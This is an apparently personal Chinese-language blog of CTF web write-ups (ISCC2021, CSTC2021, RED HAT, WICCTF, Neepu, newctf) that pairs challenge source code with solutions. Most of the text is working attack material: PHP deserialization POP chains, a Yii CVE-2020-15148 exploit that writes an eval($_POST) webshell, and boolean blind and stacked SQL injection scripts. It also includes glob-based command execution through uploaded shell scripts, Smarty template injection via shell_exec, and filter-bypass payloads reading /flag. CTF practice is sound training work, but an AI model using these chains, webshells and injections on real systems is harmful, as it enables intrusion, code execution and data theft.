ISCC2021

[练武题]正则表达式最后的倔强

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

payload:?password=1e9*-*


which is the true iscc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

一个文件显得很长,不过比多文件方便查看,比方说查看waf就可以看到

1
2
3
4
5
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

过滤了*,也许payload会用到(就是会用到)
开始审
首先看看魔法变量__destruct

1
2
3
4
5
6
7
8
9
10
11
12
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

只要我们能控制这个cmd的值,就可以执行任意命令了

1
2
3
4
5
6
7
8
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

那么只要这里验证通过就可以控制了。

PHP反序列化中,wakeup的执行顺序是碰到变量中含有类的,首先按照类出现的先后顺序执行__wakeup,最后执行主类的__wakeup,执行__destruct时,按照之前相反的顺序执行__destruct,也是最后执行主类的__destruct

在本题中,ISCC_Command和ISCC_ResetCMD的wakeup方法都会执行$is_upload = false,导致不能重置_SESSION变量,所以ISCC_Command类的wakeup必须要在他们两后,同时ISCC_Command类的__destruct必须执行在他们两的前面,否则重置SESSION也没有用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class ISCC_Upload {
function __construct(){
$this->e=new ISCC_ResetCMD();
$this->d=new ISCC_Command();
}
}
class ISCC_Login {
public $b;
public $c;
public $a;
function __construct(){
$this->b=new ISCC_ResetCMD();
$this->c=new ISCC_Command();
$this->a=new ISCC_Upload();
}
}
class ISCC_Command {
}

class ISCC_ResetCMD {
protected $new_cmd;
function __construct(){
$this->new_cmd="cat /flag";
}
}

$a=new ISCC_Login;
$a=serialize($a);
$a=str_replace("\00","%5C00",$a); //将%00显示出来
$a=str_replace("*","%5C2A",$a); //通过16进制绕过WAF,试着修改属性,但没绕过,应该是版本低于php7.1,因此对属性比较敏感
$a=str_replace("s","S",$a); //对于通过16进制绕含有非public属性的序列化数据时需要将小写s转化为大写S(此知识点源自[网鼎杯 2020 青龙组]AreUSerialz)
echo $a;
?>

最终exp,

1
2
3
4
5
6
7
8
9
import requests
payload2='?%3f=O:10:"ISCC_Login":3:{s:1:"b";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"c";O:12:"ISCC_Command":0:{}s:1:"a";O:11:"ISCC_Upload":2:{s:1:"e";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"d";O:12:"ISCC_Command":0:{}}}'
payload1='?%3f=O:10:"ISCC_Login":3:{s:1:"b";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"c";O:12:"ISCC_Command":0:{}s:1:"a";O:11:"ISCC_Upload":2:{s:1:"e";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"d";O:12:"ISCC_Command":0:{}}}'
url= 'http://39.96.91.106:7050/'
f=open("isccIsCciScc1scc","rb") #直接用010创建一个名字是这个的空文件就行,用于绕过_SESSION验证
f1=open("1.jpg","rb") #是图片就行,名字不重要
files = {"_SESSION":f,"iscc_file":f1}
r=requests.post(url+payload2,files=files)
print(r.text)

ctfshow大牛杯

check_in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}

function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);

file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}
?>

这一句很奇妙,for ($i = 0; $i < count($letter_blacklist); $i+=2),计数变量$i+=2,所以,实际上过滤掉的是
acegikmoqsuwy13579,
那么还能用的就是以下字符
bdfhjlnprtvxz24680
再往下对符号的过滤也是这样
array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>')
因为计数变量$i初始值为1,,那么能用的就是以下
array('=','%','\)','\*','\^','\$','`','!','\]','}','\'',';','\/','\?','<','>')
像个傻子,没进目录就读读读,读个寂寞,总之,学习为主,那么就来说说我犯傻的地方,看这个file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);,前半部分是在读index,因为在当前目录下,使用了$dir路径,同时下面也写着echo $dir,这回是真nt了,总之我继续构造payload:?code=?><?=`nl%09/*` ,然后得到地址,再进入地址查看执行结果,就能得到flag了,是不是很简单呢,(可惜我是nt根本想不到


CSTC2021

cstcweb1:ez_web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2021)?$v1=1:NULL;
}
// echo "v1=>" . $v1;
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
// echo "v2=>" . $v2;
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
var_dump($c);
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
// echo "v3=>" . $v3;
}
}
if($v1 && $v2 && $v3){
echo "good";
}
?> NULL

不认识的函数很多,开局搜半天
要求3层都达成,使得$v1,$v2,$v3都为1。
首先第一层,先用json_decode()函数array将以GET方式传入的foo的值转化为带键的数组$a,接下来使用is_numeric函数判断键bar1对应的值必须是纯数字,并且大于2021,因此构造?foo={"bar1":"3000a"},第一层就过去了,此时可以在本地测试得到$v1等于1了。
第二层,第一步通过is_array函数判断bar2对应的值是否为数组,就加上"bar2":[],接着通过count函数要求bar2对应的数组内的单元个数为5,并且要求$a["bar"][0]也就是该数组的第一个单元也为数组,接着是array_search函数要求$a[“a2”]数组中必须含有nudt,但$a[“bar2”]中不含有字符串"nudt",于是继续完善payload:
?foo={"bar1":"3000","bar2":[[],1,2,3,4,],"a2":["nudt"]}
(感觉也可以通过让$[“a2”]不为数组,array_search传入的参数不为数组就会报错,但不会返回false)
最后是第三层,首先要求传入catdog的值,cat[1]不能为NULL,可以看出,传入的cat为数组,接着是使用strcmp函数进行字符串比较,要求cat[1]dog相等,但又不相等,这做不到,要利用strcmp函数的漏洞进行绕过,因此,传入dog[]使dog这个变量为数组类型,strcmp函数的参数为数组就会出错,并且返回null!null就绕过判断了,接着是eregi()函数(不区分大小写)匹配cat[0]函数中的31c,并且后面有要求cat[0]中含有字符串cstc2021,利用前加%00的方式绕过eregi匹配,最终构造成的payload:
?foo={"bar1":"3000a","bar2",[[],1,2,3,4],"a2":["nudt"]}&cat[0]=%00cstc2021&cat[0]=1&dog[]


RED HAT

Find_it

首先大喊三声我是傻逼!!然后开始写wp
首先打开环境,发现啥也没有,然后查看robot.txt文档,得知有一个1ndexx.php,结果啥也没有,经过我的不懈努力(问学长),终于得到可以.swp看源码,明明津门杯从那一道题已经得到经验结果没想到,,总之,访问.1ndexx.php.swp,然后得到源码,源码有点散,总之,先拼起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);

?>

打开了hack.php,然后将传入的code写入了hack.php。
于是构造payload:?code=<?php phpinfo();?>
接着访问hack.php,flag就在phpinfo的环境变量里面。


websitemanger

打开是一个登录界面,查看源码,可以看见图片部分的源码是src="image.php?id=2",访问image.php,可以看见一张图片,通过GET上传id的值,总共有1,2,3,这三张图,当输入其他值时就会显示错误,通过bp抓包,查看返回消息,发现数据层没有任何信息,可以进行布尔盲注(就是有点慢)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import requests

def database_name():
name = ''
for j in range(1,30):
for i in range(48,122):
url = "http://eci-2zeir5o8p6vha0wv8y41.cloudeci1.ichunqiu.com:80/image.php/?id=0^if(ascii(mid((select(group_concat(password))from(users)),%d,1))=%d,5,1)#" %(j,i)
# print(url)
r = requests.get(url)
if 'T' not in r.text:
name = name+chr(i)

print(name)

break
print('database_name:',name)

print(r.status_code)



database_name()

数据库名为ctf,表名为users,列名为usernamepassword,最终得到用户名为admin,密码为包含小写字母与数字的随机生成字符串,登入后,file协议进行文件读取,website段(host)输入file:///flag,接着进行ssrf,referer输入http://127.0.0.1,点击test it就跳到了modify.php,得到flag。


framework

没看原题,被web3搞懵了,那么就开始吧(云做题
打开点击Get started with Yii,可以得知这是个Yii框架,可以下载源码,源码我当时下载了,下载过程一波三折,然后解压,装到本地,打开目录下的web,里面有一个index.php文件,因为是Yii,所以可以在index.php加入代码:echo Yii::getversion();,然后打开本地主页,可以看到当前安装的本题Yii框架的版本,该版本是:2.0.32,(当然其实直接点击右下角的箭头就可以看到该Yii框架的版本),然后上搜索引擎看看这个版本有没有可以利用的漏洞:于是找到一篇文章:文章
于是就有一个反序列化漏洞(CVE-2020-15148)可以利用,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

构造payload:?r=site/aboout&messge=get%20/r=site/about&messege=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
得到一个不完整的phpinfo界面,使用system,和文件查看的函数都被返回错误界面,但可以使用file_put_content函数(点击看详情)写入shell,同时结合assert函数(点击看详情),如果assert的第一个参数是字符串,将被当做php代码执行。

1
2
3
4
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents(\'shell.php\',\'<?php eval($_POST[a]);phpinfo();?>\');';
}

然后访问shell.php,查看phpinfo信息,可以查看禁用函数
上蚁剑使用插件bypass(我蚁剑的插件市场一直转圈圈啊@.@)
云做题一脸懵逼


WICCTF

hate_flag

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}

因为和ctfshow56题很像,本来想直接改一下脚本跑出来的,结果跑来跑去都是ls返回的目录,而且根本没有我写的用于判断是否执行成功的字符串,想来是因为靶机就这一个,估计别人也在传,所以执行到别人传的文件了,总之就没看了,之后看到wp写的直接模糊匹配执行,?code=/???/??? /????,可以结合跑出来的目录,因为根目录可以直接看到flag这个文件,所以这个命令可以匹配到/bin/cat /flag,当然也能匹配到别的命令和目录,总之,最后屏幕上就一大堆东西,全复制下来,检索flag,很快就找到了。
结果是脚本执行方式有问题:(我看是我脑子有问题),但是我又改好了(诶,一运行就出,就是玩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://122.112.214.101:20004/?code=?><?=`.+/???/????????[?-[]`;?>'

def post():
files={
'upload':'#!/bin/sh\necho "muhua"\ncat /flag'
}
r=requests.post(url,files=files)
if 'muhua' in r.text:
print(r.text)

for i in range(50):
post()

总之通过上传一个文件,然后访问并执行,本来按照大佬们的思路,这个想匹配到/tem/php??????,生成的临时文件名字应该是最后六位其中肯定是含有一个大写字母的,那么就选最后一个,假如正好是最后一个为大写,那么就会成功匹配上并执行,而文件以!#/bin/sh开头,意思是文件以/bin目录下的sh命令执行,接着就是需要执行的命令。
我想问题应该是在于要在上传的同时进行执行,我一开始的脚本是使用多线程,并且先上传,后执行,然后就出问题了,想想也是,靶机就一个,肯定要清理临时文件的,唉唉。


Neepu


noob


随便注2.0

强网杯随便注和GXY的综合,这次很让我头疼但最后却轻易解决的是空格和tab被过滤的问题,根据两道题的结合再加上过滤点

1
2
3
4
5
6
Neepu
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
强网杯
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
Blacklist
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

我很轻易地发现可以用预编译绕过,最后用换行符(%0a)来代替空格,最终得出:

1
2
3
4
-1';show databases;
-1';show tables;
-1';desc `@Neepu2021招新赛`;
-1';PREPARE muhua from concat('s','elect', ' flag from `@Neepu2021招新赛`');EXECUTE muhua;#

将其中的空格换成%0a就行,抓包传数据或者直接python传输可以换了再传


有泄可击

描述:公司大断电…大家都在整理备份文件,这时你潜入了进来…
结合题目,肯定是源码泄露,进入之后有一个注册界面,但无论如何也注册不上,一看源码有一个测试账号,原来是这样潜入的啊,于是直接登上,但页面上啥也没有,尝试常见的源码泄露目录,发现了.git目录有index.php的源码,前面啥也没有,但源码的末尾直接给了shell:

1
2
3
<?php
@eval($_REQUEST['neepu_debug.mode']);
?>

但这种形式的我不会利用,搜索引擎也没有找到,(其实可以说找到了,只是当时没用对),最后被告知,传neepu[debug.mode就可以让'.'不被转义。直接查看目录,flag就在根目录下,很简单一道题,唯一的难点就在于对shell的利用。


最强大脑

10秒内计算出一个随机加减乘的计算式,连续正确100次,这还不简单?直接c写一个循环计算器,然后复制粘贴计算,复制粘贴提交
当然是写脚本跑,通过gamebox的题解现学现卖的,写完gamebox的wp瞬间感觉这题不是问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re

url = 'http://neepusec.club:18672/'

ks = requests.Session()

re0 = ks.get(url)
#通过特征部分抓取计算式
an = re.findall('\<p\>.*?&nbsp\?',re0.text)
#由于长度不确定,所以首先截取出去html格式<p>之后的部分
cal = an[0][3:40]
#去掉计算式以外的多余部分
cal = cal.replace('&nbsp','')
cal = cal.replace('=?','')
#计算
an = eval(cal)
data = {"answer":an}

for i in range(1,101):
re1 = ks.post(url,data=data)
an = re.findall('\<p\>.*?&nbsp\?',re1.text)
cal = an[0][3:40]
cal = cal.replace('&nbsp','')
cal = cal.replace('=?','')
an = eval(cal)
data = {"answer":an}
if i == 100:
print(re1.text)
break

web


gamebox

鬼!
进去直接万能密码muhua'='0
开始抛硬币,脚本,写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import re

#display模板注入
payload1 = "{{shell_exec(\"\ls\t/\")}}'='0"
payload = "{{shell_exec(\"cat\t/This_is_your_Flag\")}}'='0"

url = "url"

#保持session会话
ks = requests.Session()

#登录
login_data = {"username":payload}
r0 = ks.post(url+"/login.php",data = login_data)

#非贪婪获取验证码
r1 = ks.get(url+"/index.php")
ver = re.findall('pic\/(.*?)\.jpg',r1.text)
print(ver[0][0:4])
data = {"authcode":ver[0][0:4],"guess":"on"}


for i in range(1,1000):
r2 = ks.post(url+"/index.php",data=data)
ver = re.findall('pic\/(.*?)\.jpg',r2.text)
data = {"authcode":ver[0][0:4],"guess":"on"}
print(len(r2.text))
#3319为验证码出错时返回消息长度,正常情况应为3287
if (len(r2.text)>3287):
print(r2.text)
r3 = ks.get(url+"/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php") #读取源码
print(r3.text)
break

源码得到为:

1
2
3
4
5
6
7
8
<?php
// create object
if ($_SESSION['num'] >= 5) {
include('smarty/Smarty.class.php');
$smarty = new Smarty;
$name = $_SESSION["username"];
$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}

存在模板注入。烦死
总之通过用户名进行注入。


Crypto


中国古代加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
古有乾隆晓岚对出千古绝句:

花甲重逢,增加三七岁月。古稀双庆,更多一度春秋。
今有诗人徐海源于东电题诗:

群芳无力懒梳妆,楚楚金花吐暗香。 不愿游人夸颜色,千紫万红续华章。
题于己亥年三月初十,名为迎春花。


留一密文:千愁万绪

该对使得flag有头有尾,该诗使得flag有声有调,可谓形同:“不到园林怎知春色如许,不入书塾何闻书声朗朗。”

hint1:诗词分上下两部分,flag比较长,数字和关键信息的出现位置有关。
hint2:结合加粗的文字提示和加密方式,排列组合,可以得到Neepu{纯数字},然后尝试提交吧!

通过搜索得到需要用到古诗的加密,得到戚继光发明的反切法,通过第一首诗的声母和第二首诗的韵母凑成的密码表。
外加最后给了密码表,其实flag已经呼之欲出了(没出是因为我脑子被门夹了)。
有头有尾,这个对子我背了好多年了,就是有个老人141岁,所以乾隆和纪晓岚一个出上对一个接下对,都是指老人的年龄,于是头尾都是141。
接着有声有调把我迷惑了,大概是指这个诗使得flag有声母也有韵母,也就是第三个提示写的密码表,取上四句诗的声母和下四句的韵母。
(但我猜到141作为头尾之前加了声调,猜到后就没加,导致没出,个人感觉题出的有问题,但没出就是白干,呜呜呜),于是对照表得出三个一组共四组的数据代表每个字,但有些韵母对应多个数字,因为提示flag较长,因此有两位数的就去两位数,都是一位数的就一一尝试。
最终得到flag:Neepu{141181832310414124141}

newctf

web

easyweb

php部分

{ .theme-legacy}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$six_number = $_POST['webp'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>

即使是弱对比,如果不是0e开头的,也无法通过科学计数法去绕,毕竟md5硬要对比是比不出的,可以尝试MD5在线解密,其实并非解密,而是可以查常见的一些MD5值,于是通过MD5在线解密得到这个MD5值对应的字符串应该是123456,接着利用MD5函数漏洞用去绕过这个对比,下面的是给array赋值,如果赋值失败就会返回false,就能绕过,于是传入9223372036854775806,这个值就是PHP的array创建数组的最大值,通过++$c的运算后导致接着赋值出错,绕过,但得到的并非flag而是

1
2
你觉得就这么简单吗???,可以告诉你密码哦!
password: xluoyyds123456@@@

这个密码不知道用在哪里,传了一下password值,但并没有回显,看一看题目描述,这张图真好看,没啥隐藏的东西吧,那么就说明图里面很可能藏了个压缩包

1
2
3
4
body {
background-image: url(backImg.jpg);
background-size: contain;
}

于是通过foremost分离出一个zip压缩包,然后解压,密码就是它给的,得到文本文件,拿到flag。这里感谢@Rossweisse师傅
顺便贴一下foremost的一个教程:链接

weblog

反序列化逃逸

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
highlight_file(__FILE__);
error_reporting(0);
class B{
public $logFile;
public $initMsg;
public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);

}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
echo "this is destruct";
}
}

class A {
public $file = 'flag{xxxxxxxx}';
public $weblogfile;

function __construct() {
echo $this->file;
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new B($this->weblogfile);

}

public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

function __destruct(){
echo "this is destruct";
}

}
class C {
public $file;
public $weblogfile;
}
class D{
public $logFile;
public $initMsg;
public $exitMsg;
}

function is_serialized($data){

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
if(!empty($r)) {
foreach($m[0] as $v){
$a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
if($data[$a] !== '"')
return false;
}
}
if(!is_string($data))
return false;
$data = trim($data);
if('N;' === $data)
return true;
if(!preg_match('/^([adObis]):/',$data,$badions))
return false;
switch($badions[1]){
case 'a':
case 'O':
case 's':
if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b':
case 'i':
case 'd':
if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data))
return true;
break;
}
return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
die('no2');
}
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
